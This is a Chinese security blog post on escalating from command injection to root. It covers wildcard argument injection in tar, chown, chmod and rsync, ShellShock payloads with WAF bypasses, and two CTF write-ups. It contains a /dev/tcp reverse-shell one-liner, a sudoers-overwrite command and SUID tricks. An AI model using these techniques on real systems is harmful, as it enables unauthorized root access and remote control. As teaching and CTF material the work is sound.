命令执行到提权

  1. 1. 提权
    1. 1.1. Wildcard Wilderness
      1. 1.1.1. Example 1
      2. 1.1.2. Example 2
    2. 1.2. Trick
      1. 1.2.1. File Owner Hijacking
      2. 1.2.2. Chmod File Reference
      3. 1.2.3. Tar命令利用
      4. 1.2.4. rsync命令利用
      5. 1.2.5. Tips
    3. 1.3. Other
      1. 1.3.1. Echo
      2. 1.3.2. ln
      3. 1.3.3. ShellShock(CVE-2014-6271)
      4. 1.3.4. 从一道题看Shell Shock
  2. 2. 上篇的解释与补充
    1. 2.1. 特殊变量
      1. 2.1.1. $n
      2. 2.1.2. $IFS
      3. 2.1.3. $?
      4. 2.1.4. $
      5. 2.1.5. $#
      6. 2.1.6. $*与[email protected]
    2. 2.2. 内置变量绕过
      1. 2.2.1. $BASH
      2. 2.2.2. $HOME
      3. 2.2.3. $PWD
      4. 2.2.4. $OLDPWD
      5. 2.2.5. $PATH
      6. 2.2.6. $PS1
      7. 2.2.7. $PS2
      8. 2.2.8. $PS4
    3. 2.3. 举个🌰
      1. 2.3.1. Layer7 CTF 2018
      2. 2.3.2. 题目描述
      3. 2.3.3. WriteUp
  3. 3. 参考:

​ 文章首发于先知社区:https://xz.aliyun.com/t/4309

之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。

[TOC]

提权

这里我们讲讲在命令注入中更有意思的一种方法。

Wildcard Wilderness

Example 1

首先我们先看一个示例

1
2
3
echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help

首先创建几个文件,其中有一个是--help,然后使用cat命令读取文件内容

1
2
3
cat file1
cat file 2
cat --help

如果按照我们预期的,是不是在第三个cat --help处应该是要读取—help文件的内容呢?然而我们执行cat —help却优先执行了cat命令的帮助选项,并没有读出—help里的内容。

不仅是catls等命令也会优先调用内置--help选项。

以及还有--all选项。

其实讲道理,词法分析把对诸如--help--all等选项优先处理为内置选项输出,看起来并没有任何问题

这个技巧叫做Wildcard wildness,中文有人译为通配符在野。(-all--help可以通过加入././-all./--help来特指这个文件,避免这个问题)

Example 2

如图,我们有两个文件,当用rm *的时候,只删掉了file1file2,并没有删除*

或者使用rm file1 file2 -rf逐个删除之时,也只删掉了file1file2

使用strace rm *我们可以发现

由于当前目录中存在-rf文件名,rm-rf选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上./-rf进行删除

Trick

我们可以利用Wildcard Wilderness做一些更有用的事情。

File Owner Hijacking

现在我们有三个用户,一个zedd,一个test,一个root用户。

我们分别用zeddtest创建了不同的文件,1.phptest.php都属于test用户的文件,zedd.php--reference=zedd.php均属于zedd用户的文件。

然后使用root用户使用chown -R test:test *.php命令,想把本目录下所有的.php文件修改为test用户所有。

但是结果我们可以发现,结果该目录下所有的.php文件都被修改为了zedd用户所有,成功“提权”。

原理我们可以用strace chown -R zedd:zedd *.php来看一下(注意这里换了一下,模拟想把.php文件改变成zedd用户所有)

我们可以看到

1
execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0

跟我们上个例子原理其实一样,--reference=.backdoor.php被作为一个选项进行了处理,而

1
2
--reference=RFILE  use RFILE's owner and group rather than
specifying OWNER:GROUP values

--reference=RFILE这个选项则是使用RFILE的文件拥有者和用户组来改变文件属性,而不是使用传入的OWNER:GROUP参数。

因此,在这种情况下,chown--reference选项将覆盖指定为root用户输入的参数zedd:zedd,把此目录中所有.php文件的所有者改变与.backdoor.php的所有者test

所以,按照这种方法,我们可以劫持root将文件的所有权更改为任意用户,并“劫持”我们想要的文件。

Chmod File Reference

类似chown的还有一个命令chmod,它也有--reference=RFIE的选项

1
--reference=RFILE  use RFILE's mode instead of MODE values

chown类似,因为有--reference=.backdoor.php的存在,在使用chmod 000 *的时候也会把劫持到与.backdoor.php文件权限一样的权限

Tar命令利用

首先我们来看看tar命令帮助文档中的几个有意思的选项

1
2
3
4
--checkpoint[=NUMBER]  
truedisplay progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
trueexecute ACTION on each checkpoint

从帮助文档,我们大致可以从中理解到,--checkpoint=1可以用来显示信息,--checkpoint-action=exec=sh shell.sh可以用来执行命令

先尝试构建一个shell.sh脚本,内容为/usr/bin/id,以及文件名为--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把当前目录下所有文件压缩到test.tar压缩包内

可见,/usr/bin/id已经被成功执行输出。

与之前一样,--checkpoint=1--checkpoint-action=exec=sh shell.sh被作为选项处理

在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘

rsync命令利用

rsync命令可能比较少用,我们这里简单介绍一下

NAME

​ rsync - a fast, versatile, remote (and local) file-copying tool

rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如rshssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t *.c foo:src,复制当前本地文件夹下的所有的.c文件到 foo 远程服务器的/src文件夹下。

rsync帮助文档含有以下几个比较有意思的选项

1
2
-e, --rsh=COMMAND           specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine

--rsh=COMMAND又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c的文件,然后再创建一个shell.c文件,污染rsync参数来实现执行我们在shell.c中写入的预期命令

假设当前目录下我们拥有一个只有root用户可读的rootfile文件,由于不能直接输出结果,我们可以构造cat ./rootfile > ./output,将文件内容读出。

得到的output文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync用户的权限,不是直接的root权限,这里因为执行命令的是root权限,所以能读取只有root用户才能读取的rootfile文件

Tips

  • 既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合msfvenom来使用。

  • tar命令比较多的都用在/etc/crontab计划任务中,经常会有管理员会用crontab来执行一些tar命令的备份操作,而且crontab执行的权限还是root权限,所以这是个很好利用的点

  • tar命令需要进入到--checkpoint=1文件所在的目录内,如果加上绝对路径将会失效,例如tar cf test.tar /var/www/html/*

    我们可以看到 shell 处理方式将/home/zedd/Desktop/test与目录下的文件名逐个拼接起来,就达不到污染参数的效果了

  • 还可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直接写入管理员组

  • 利用chmod u+s /usr/bin/find提升为root权限执行,配合find命令的-exec COMMAND来执行命令,例如find f1 -exec "whoami" \;

文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用.backdoor.php等形式。

Other

这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。

Echo

echo *可以用来显示目录,echo /???g可以用来探测文件

ln

NAME

​ ln - make links between files

ln命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用ln -s创建

例如,这里我们根目录下有一个文件内容为flag{xxx}的名为flag文件,我们使用ln -s /flag file,在当前目录下创建一个file文件链接到/flag,使用cat filephp -r "echo file_get_contents('file')"均可以读取到/flag的内容。

这个软链接读取文件内容已经被多次利用

ShellShock(CVE-2014-6271)

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本分析报告

  • CVE-2014-6271 测试方式:

    env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

  • CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)
    env -i X=’;() { (a)=>' bash -c ‘echo date’; cat echo

从一道题看Shell Shock

题目地址:command-executor——来源于 HackMe

题目描述:

​ Here’s my useless developer assistant website, try to execute your own command!

题目大体思路是:

  • 读取源码
  • Shell Shock命令执行
  • 重定向读写文件

题目设置为几个功能,一个man命令的帮助文档

选择了ls,多了个请求参数file=ls

尝试用其他命令,比如find

猜测eval("man /bin/" + command)或者一些其他的目录

Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的内容

Cmd Exec界面只有两个命令,一个ls,一个env

List files是个目录列举界面,可以列举几个目录

观察题目,题目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar等均带有func=xxx参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index读取文件内容,成功得到回显

解码得到 index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="comic-neue/font.css" media="all">
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">Command Executor</a>

<ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
<li class="nav-item">
<a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
</ul>
</nav>

<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>

man.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function render() {
$file = 'man';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
if(preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}

echo '<h1>Online documents</h1>';

$cmds = [
'bash', 'ls', 'cp', 'mv'
];

echo '<ul>';
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
echo '</ul>';

printf('<h2>$ man %s</h2>', htmlentities($file));

echo '<pre>';
execute(sprintf('man %s | cat', escapeshellarg($file)));
echo '</pre>';
}
?>

untar.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function render() {
?>
<h1>Tar file tester</h1>

<p>Please upload a tar file to test</p>

<form enctype="multipart/form-data" action="index.php?func=untar" method="POST">
<input type="file" name="tarfile" id="tarfile">
<input class="btn btn-primary" type="submit" value="Upload &amp; Test">
</form>

<?php

if(isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

echo '<pre>';
execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
echo '</pre>';
}
}
?>

ls.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function render() {
$file = '.';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
}

echo '<h1>Dictionary Traversal</h1>';

echo '<ul>';
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
echo '</ul>';

printf('<h2>$ ls %s</h2>', htmlentities($file));

echo '<pre>';
execute(sprintf('ls -l %s', escapeshellarg($file)));
echo '</pre>';
}
?>

cmd.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function render() {
$cmd = '';
if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
}
echo '</ul>';
?>

<form action="index.php" method="GET">
<input type="hidden" name="func" value="cmd">
<div class="input-group">
<input class="form-control" type="text" name="cmd" id="cmd">
<div class="input-group-append">
<input class="btn btn-primary" type="submit" value="Execute">
</div>
</div>
</form>
<script>cmd.focus();</script>
<?php

if(strlen($cmd) > 0) {
printf('<h2>$ %s</h2>', htmlentities($cmd));

echo '<pre>';
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
echo '</pre>';
}
}
?>

接下来我们就可以利用ls.php来找flag了,因为ls.php没什么过滤,所以用func=ls&file=../../../可以发现根目录下的文件

接下来就是考虑怎么去读了,man.php因为有preg_match('/^[\w\-]+$/', $file) !== 1限制得比较死,untar.php貌似只有tar -tvf并没有什么用处,只有cmd.php给出了一个比较不太寻常的env这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到ShellShock漏洞,并且在index.php中发现有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

关键就在putenv函数,由于ShellShock漏洞 padyload 需要参数

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

我们就可以利用putenv实现参数传递,直接设置User-agent: () { :;}; echo 222222,发现被 waf

分析 waf 结合漏洞成因,我们可以在最后的};中间添加一个空格绕过,设置User-Agent: () { :;} ; echo 222222,成功发现输出 22222 ,我们也可以使用() { _; } >_[$($())] { whoami; }这个 payload

发现当前用户为www-data,而我们之前发现根目录flag的权限为-r-------- 1 flag root 37 Jan 9 2018 flag,所以不能直接读取,但是有一个flag-readerflag-reader.c的文件,这应该是题目提示了。因为index.php又把flag关键字屏蔽了,我们也不能直接读取flag-reader.c,但是我们这里可以利用通配符读取,例如使用fla*.c

使用() { _; } >_[$($())] { cat /fla*.c; }得到flag-reader.c源码

Flag-reader.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
truechar buff[4096], rnd[16], val[16];
trueif(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
truetruewrite(1, "Not enough random\n", 18);
true}

truesetuid(1337);
trueseteuid(1337);
truealarm(1);
truewrite(1, &rnd, sizeof(rnd));
trueread(0, &val, sizeof(val));

trueif(memcmp(rnd, val, sizeof(rnd)) == 0) {
truetrueint fd = open(argv[1], O_RDONLY);
truetrueif(fd > 0) {
truetruetrueint s = read(fd, buff, 1024);
truetruetrueif(s > 0) {
truetruetruetruewrite(1, buff, s);
truetruetrue}
truetruetrueclose(fd);
truetrue} else {
truetruetruewrite(1, "Can not open file\n", 18);
truetrue}
true} else {
truetruewrite(1, "Wrong response\n", 16);
true}
}

使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"直接反弹 shell

运行flag-reader

审计一下这段代码,大致是输出一串随机数,然后在1s之内又要输入进去,否则就write(1, "Wrong response\n", 16);

然而我在回弹 shell 之后,利用/tmp可写的权限,貌似有点小问题,一旦cat /tmp/zedd,链接就断掉了,无奈只能找其他文件夹,发现/run/lock/var/tmp均可读可写,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd写入 flag

反弹 shell 使用cat非常容易断掉,最好使用执行的方式,最后得到 flag

上篇的解释与补充

特殊变量

这里再对上篇进行一定的补充与解释。

$n

变量含义
$0当前脚本的文件名
$n传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第二个参数是$2(0<n<9)
${n}9<n时需要加上大括号

例如,脚本文件如下

1
2
3
4
5
#!/bin/bash

echo "File Name: $0"
echo "First Parameter : $1"
echo "First Parameter : $2"

执行脚本文件

1
2
3
4
$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd

而当没有参数的时候,$n就为空,所以我们可以用cat /fl$1ag这样绕过关键字过滤,并且在 bash 环境下

1
2
$ echo $0
bash

所以我们可以使用这样的 payload ,可以用在 bash 这个关键字过滤但是有需要用到 bash 的情况下,前提是环境用的是 bash

1
2
$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

$IFS

IFS(Internal Field Seprator) ,内部域分隔符,Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

1
2
3
4
5
$ echo $IFS

$ echo "$IFS" | od -b
0000000 040 011 012 012
0000004

我们可以看到直接输出IFS是看不到的,把它转化为二进制就可以看到了,”040”是空格,”011”是Tab,”012”是换行符”\n” 。最后一个 012 是因为 echo 默认是会换行的。

$?

上个命令的退出状态,或函数的返回值。退出状态是一个数字,一般情况下,大部分命令执行成功会返回0,失败返回1。不过,也有一些命令返回其他值,表示不同类型的错误。

$

当前 Shell 进程 ID。对于 Shell 脚本,就是这些脚本所在的进程 ID。

1
2
$ echo $$
75576

$#

传递给脚本或函数的参数个数。

脚本文件内容:

1
2
3
#!/bin/bash

echo "Total Number of Parameters : $#"

执行命令

1
2
$ ./test.sh Hello Zedd
Total Number of Parameters : 2

$*与[email protected]

都是传递给脚本或函数的所有参数。

脚本文件内容:

1
2
3
4
#!/bin/bash

echo "Quoted Values: [email protected]"
echo "Quoted Values: $*"

执行命令:

1
2
3
$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd

它们不被双引号(“ “)包含时,都以”1””2” … “$n” 的形式输出所有参数。

但是当它们被双引号(“ “)包含时,”∗”会将所有的参数作为一个整体,以”1 2…n”的形式输出所有参数;”@”会将各个参数分开,以”1” “2”…”n” 的形式输出所有参数。

内置变量绕过

上篇其实提到了一点内置变量绕过,但是讲的也不并不多,只是大概提了一下。这里再给一些常用的 bash 内置的环境变量

$BASH

1
2
$ echo $BASH
/usr/local/bin/bash

返回 bash 二进制文件的路径

$HOME

1
2
$ $HOME
bash: /Users/zedd: Is a directory

返回当前用户所属目录

$PWD

1
2
$ echo $PWD
/

显示当前目录

$OLDPWD

1
2
$ echo $OLDPWD
/Users/zedd/Desktop/

返回上次所在目录

$PATH

1
2
$ echo $PATH
/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin

环境变量$PATH

$PS1

1
2
$ echo $PS1
\s-\v\$

看到的命令行主要提示

$PS2

1
2
$ echo $PS2
>

额外输入的辅助提示,表示为>$PS3是 Shell 脚本中使用select时的提示符,显示为空,这里就不再单独列举了

$PS4

1
2
$ echo $PS4
+

set -x配合用来修改跟踪输出的前缀,显示为+

举个🌰

Layer7 CTF 2018

可以访问https://cat.canhack.me/这个在线地址

题目描述

1
2
3
4
This service provides read the file.
https://cat.canhack.me/

This challenge was published in the Layer7 CTF in 2018.

WriteUp

点进去发现有

1
<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.

跟进得到test.txt的内容

猜测为文件包含,尝试直接读取flagwaf,直接读取https://cat.canhack.me/?file=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
trueerror_reporting(0);

truerequire __DIR__.'/flag-f72a161d445915d2bdcdc820c4143353.php';

trueif(isset($_GET['file'])){

truetrueif(preg_match('/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i', $_GET['file'])){
truetruetruedie('no hack');
truetrue}

truetruesystem('cat "'.$_GET['file'].'"');

true}else{
truetrueecho '<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.';
true}

还剩下{}<>[]+-=^$@!&,是个关键字绕过,有$,我们很快可以联想到可以用$n这种方式绕过,最终 payload

1
https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php

参考:

Internal Variables

Shell中的IFS解惑

Shell 特殊变量

一个有趣的任意文件读写

利用通配符进行Linux本地提权

Unix Wildcards Gone Wild


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/03/12/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%B0%E6%8F%90%E6%9D%83/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

Web安全从零开始-XSS I XSS and MYSQL FILE

Comments